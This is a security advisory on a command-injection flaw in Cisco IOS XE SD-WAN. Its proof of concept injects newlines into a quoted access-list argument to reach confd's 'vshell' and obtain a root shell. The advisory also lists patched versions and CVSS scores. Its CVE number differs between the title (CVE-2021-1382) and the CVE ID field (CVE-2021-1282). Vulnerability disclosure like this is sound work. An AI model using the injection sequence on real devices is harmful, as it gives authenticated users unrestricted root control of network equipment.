Cisco IOS XE SD-WAN - Command Injection Vulnerability (CVE-2021-1382)

Moderate **lbrossault** published **GHSA-7xfm-92p7-qc57** on Nov 20, 2021

Package

No package listed

Affected versions	Patched versions
17.3.2	17.3.3

Description

Overview

Cisco cEdge provides sdwan wrapping commands that are executed on Confd. Confd show mode is not supposed to be accessible to cEdge users (only Confd conf mode is available). In Confd show mode there is 'vshell' dangerous command than gives a shell on the IOS-XE.

Impact

As an authenticated user, by injecting confd commands within the sdwan wrapping commands on IOS-XE cli we succeed to execute unrestricted shell as root.

Detail

IOS-XE CLI provides commands for sdwan. These commands are sent to confd through confd_cli.

Example:

- CLI command:

```
clear sdwan policy access-list "aaaa"
```

- Execute command:

```
/bin/bash /tmp/sw/rp/0/0/rp_daemons/mount/usr/binos/conf/execute_confd_cli.sh -nis viptela-clear:clear policy access-list name aaaa
```

- Resulting in:

```
echo -e "$( (echo "viptela-clear:clear policy access-list name aaaa" ; sleep 2) | confd_cli -C -g sdwan-oper )"
```

`sdwan-oper` force the execution in "show mode" on confd.

By inserting some `\n` characters (thanks to "term shell") it is possible to trigger `vshell` confd command and then execute arbitrary shell.

Proof of Concept

```
NR-4221-3#term shell
NR-4221-3#clear sdwan policy access-list "aaaa
DblQuotTkn>vshell
DblQuotTkn>
DblQuotTkn>id
DblQuotTkn>"
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_confd_t:s0

NR-4221-3#
```

Solution

Security patch

Cisco fixed this vulnerability from:

- 17.6.1a and later
- 17.5.1a and later
- 17.4.2 and later
- 17.3.4a and later
- 17.3.3 and later
- 17.2.3 and later
- 17.2.2 and later
- 17.2.1v and later
- 17.2.1r and later
- 16.12.5 and later
- 16.12.4a and later
- 16.12.4 and later
- 16.12.3 and later
- 16.11.1a and later

Workaround

There are no workarounds that address this vulnerability.

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-xesdwcinj-t68PPW7m
https://nvd.nist.gov/vuln/detail/CVE-2021-1382

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group

Timeline

Date reported: November 27, 2020
Date fixed: March 24, 2021

Severity

Moderate 6.0 / 10

CVSS base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2021-1282

Weaknesses

CWE-77